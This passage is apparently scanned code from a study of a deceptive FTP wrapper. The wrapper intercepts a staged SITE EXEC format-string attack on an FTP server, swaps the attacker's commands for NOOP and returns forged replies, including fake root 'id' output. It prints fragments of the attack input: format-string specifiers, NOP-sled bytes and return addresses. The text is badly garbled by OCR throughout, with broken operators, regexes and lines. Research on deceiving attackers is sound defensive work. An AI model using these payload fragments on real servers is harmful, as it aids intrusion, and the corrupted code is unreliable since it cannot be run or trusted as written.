if  (attackStep  ==  6)  { 

newbuf  =  wr_strdup( 

"200-@@\xac\xdb\xf f \xbf #\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@aol . com\r\n" ) 

$sizeret  =  31; 

}  else  { 

newbuf  =  wr_strdup( 

"2  00-@@\xac\xdb\xf  f \xbf  #l\300\215'^\001\x90\x90\x90\x90\x90\x90\x90@aol .  com\r\n 
$sizeret  =  33; 


delete  $iobuf; 
$iobuf  =  newbuf; 
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/* 

*  STEP  5c 
*/ 

case  op{write}  &&  step  (((char  *)$iobuf)  =~  mr'^500"i)  pre  { 
char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_strdup ( "200  (end  of  ' % . f ' ) \r\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  21; 

}; 

}  *  /*  End  of  STEP  5  */ 

/*  STEP  6  -  PART  I*/ 

op(read}  &&  step  ((((char  *)$iobuf)  ='“  mi"'^SITE  EXEC  %277$x"  |  ) 

&&  (attackStep  ==  6) )  post  { 


char  *  newbuf; 


wr_printf ( "FTP  Wrapper:  STEP  6  -  PART  I\n"); 


/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 

/*  that  causes  the  server  to  respond  with  two  lines  */ 
newbuf  =  wr_strdup ( "NOOP\n\n" )  ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  6;  /*  Change  the  return  value  of  the  read  system  call  */ 
/*  to  reflect  the  changes  we  made  to  the  buffer  */ 
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switch  { 


/* 

*  STEP  6a 
*/ 

case  op{read}  &&  step  {{{char  *)$iobuf)  =~  mi"'^SITE  EXEC  %"  |  )  post  { 

char  *  newbuf; 


( ( ( (char  *) $iobuf ) 

=  -  ml 

SITE  EXEC  %3093$x 

1  ) 

II  (((char 

* 

$iobuf ) 

=  ~ 

ml 

'^SITE 

EXEC 

%3094$x 

II  (((char 

* 

$iobuf ) 

=  ~ 

ml 

''"SITE 

EXEC 

%3127$x 

II  (((char 

* 

$iobuf ) 

=  ~ 

ml 

''"SITE 

EXEC 

%3144$x 

II  (((char 

* 

$iobuf ) 

=  ~ 

ml 

''"SITE 

EXEC 

%3145$x 

II  (((char 

* 

$iobuf ) 

=  ~ 

ml 

''"SITE 

EXEC 

%3150$x 

II  (((char 

* 

$iobuf ) 

=  ~ 

ml 

''"SITE 

EXEC 

%3151$x 

II  (((char 

* 

$iobuf ) 

=  ~ 

ml 

''"SITE 

EXEC 

%3152$x 

$sizeret  = 

0; 

/*  EOE 

*/ 

}  else  { 


/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 
/*  that  causes  the  server  to  respond  with  two  lines  */ 
newbuf  =  wr_strdup { "NOOP\n\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =6;  } 


/* 

*  STEP  6b 
*/ 

case  op{write}  &&  step  {{{char  *)$iobuf)  =~  mr^^COO"!)  pre  { 
char  *  newbuf; 
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/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 


newbuf  =  wr_strdup ( "200-37322500\r\n" )  ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  14; 


/* 

*  STEP  6c 
*/ 

case  op{write}  &&  step  (((char  *)$iobuf)  =~  mr^^SOO"!)  pre  { 
char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_strdup ( "200  (end  of  ' %277 ' ) \r\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  22; 

}; 

}  *  /*  End  of  STEP  6  -  PART  I*/ 


/*  STEP  6  -  PART  II  /  STEP  7  */ 


opiread}  &&  step  ((((char  *)$iobuf)  =~  mi"'^SITE  EXEC  @@"1  ))  post  { 


char  *  newbuf; 


wr_printf ( "FTP  Wrapper:  STEP  6  -  PART  II\n"); 
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/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 


/*  that 
newbuf  ^ 
delete  $ 
$iobuf  = 
$sizeret 


causes  the  server  to  respond  with  two  lines  */ 

=  wr_strdup { "NOOP\n\n" )  ; 
iobuf ; 

^  newbuf; 

=  6;  /*  Change  the  return  value  of  the  read  system  call 
/*  to  reflect  the  changes  we  made  to  the  buffer 


*/ 

*/ 


switch  { 

/* 

*  STEP  6a  -  PART  II  /  STEP  7a 
*/ 

case  op{read}  &&  step  {{{char  *)$iobuf)  ='“  mi"'^SITE  EXEC  @@"|  )  post  { 

char  *  newbuf; 

if  {{{char  *)$iobuf)  =~  m|"'"SITE  EXEC  @@\xb3\xce\xf  f \xf  f \xbf  #%27  6$s  "  1  )  i 
attackStep  =  7;  /*  Last  sequence  of  STEP  6.  Moving  to  STEP  7*/ 

} 


if  {{{char  *)$iobuf)  =~  mi'^^SITE  EXEC  @@ 

\xb4 \xGe\xf f \xf f \xbf \xb5\xce\xf f \xf f \xbf 


\xb6\xce\xf f \xf f \xbf \xb7\xce\xf f \xf f \xbf @@@@@ " 1 )  { 

wr_printf { "FTP  Wrapper:  STEP  7\n"); 

attackStep  =  8;  /*  Last  sequence  of  STEP  7.  Moving  to  STEP  8*/ 


/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 
/*  that  causes  the  server  to  respond  with  two  lines  */ 
newbuf  =  wr_strdup { "NOOP\n\n" ) ; 
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delete  $iobuf; 


$iobuf  =  newbuf; 
$sizeret  =  6;  /* 


Change  the  return  value  of  the  read  system  call 
to  reflect  the  changes  we  made  to  the  buffer 


*/ 

*/ 


/* 

*  STEP  6b  -  PART  II  /  STEP  7b 
*/ 

case  op{write}  &&  step  (((char  *)$iobuf)  =~  ml "^200"!)  pre  { 
char  *  newbuf; 

if  (attackStep  ==  7)  { 

newbuf  =  wr_strdup ( "200-@@\xb3\xce\xf f \xbf #\xbf | \r\n" ) ; 

$sizeret  =  15; 

}  else  if  (attackStep  ==  8){ 

newbuf  =  wr_strdup ( "200-00 

\xb4 \xce\xf f \xf f \xbf \xb5\xce\xf f \xf f \xbf 

\xf 6\xce\xf f \xf f \xbf \xb7\xce\xf f \xf f \xbf 00000\r\n" ) 

$sizeret  =  33; 

}  else  { 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_strdup ( "2OO-00\xb3\xce\xf f \xbf #\r\n" ) ; 

$sizeret  =  13; 

} 

delete  $iobuf; 

$iobuf  =  newbuf; 

}; 
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*  STEP  6c  -  PART  II  /  STEP  7c 


*/ 

case  op{write}  &&  step  (((char  *)$iobuf)  =~  mr'^500"i)  pre  { 
char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_strdup ( "200  (end  of  ' @@\xb3\xce\xff\xbf%276$s ' ) \r\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  30; 

}; 

/*  End  of  STEP  6  -  PART  II  /  STEP  7  */ 


/*  STEP  8a  */ 

op{read}  &&  step  ((((char  *)$iobuf)  =~  mT'^'id"!  ))  post  { 

char  *  newbuf; 

wr_printf ( "FTP  Wrapper:  STEP  8  I\n"); 

/*  Replace  id  command  with  a  harmless  command  */ 
newbuf  =  wr_strdup ( "NOOP\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  5;  /*  Change  the  return  value  of  the  read  system  call  */ 
/*  to  reflect  the  changes  we  made  to  the  buffer  */ 


/* 

*  STEP  8b 
*/ 

op(write}  &&  step  {{{char  *)$iobuf)  ='“  mr^^POO"!)  pi^e  { 
char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_st rdup { "uid=0 { root )  gid=0{root)  groups=50 {ftp) \n" ) ; 
$sizeret  =  39; 
delete  $iobuf; 

$iobuf  =  newbuf; 

}; 


/*  STEP  8c  */ 

op{read}  &&  step  {{{{char  *)$iobuf)  =~  mT'^id;  uname  -a;  pwd"  I  ) 

&&  {attackStep  ==  8))  post  { 


char  *  newbuf; 


wr_printf { "FTP  Wrapper:  STEP  8  II\n"); 


/*  Replace  the  commands  with  a  harmless  command  */ 
newbuf  =  wr_strdup { "NOOP\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  5;  /*  Change  the  return  value  of  the  read  system  call  */ 
/*  to  reflect  the  changes  we  made  to  the  buffer  */ 
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op{write}  &&  step  (((char  *)$iobuf)  =~  m|"'^200"l)  pre  { 


char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_st rdup ( "uid=0 ( root )  gid=0(root)  groups=50 (ftp) \n 
Linux  localhost . localdomain  2. 4. 2-2  #1  Sun  Apr  8  20:41:30  EDT  2001  1686  unknown\n/\n 
$sizeret  =  121; 

$nbytes  =  121; 
delete  $iobuf; 


$iobuf  =  newbuf; 
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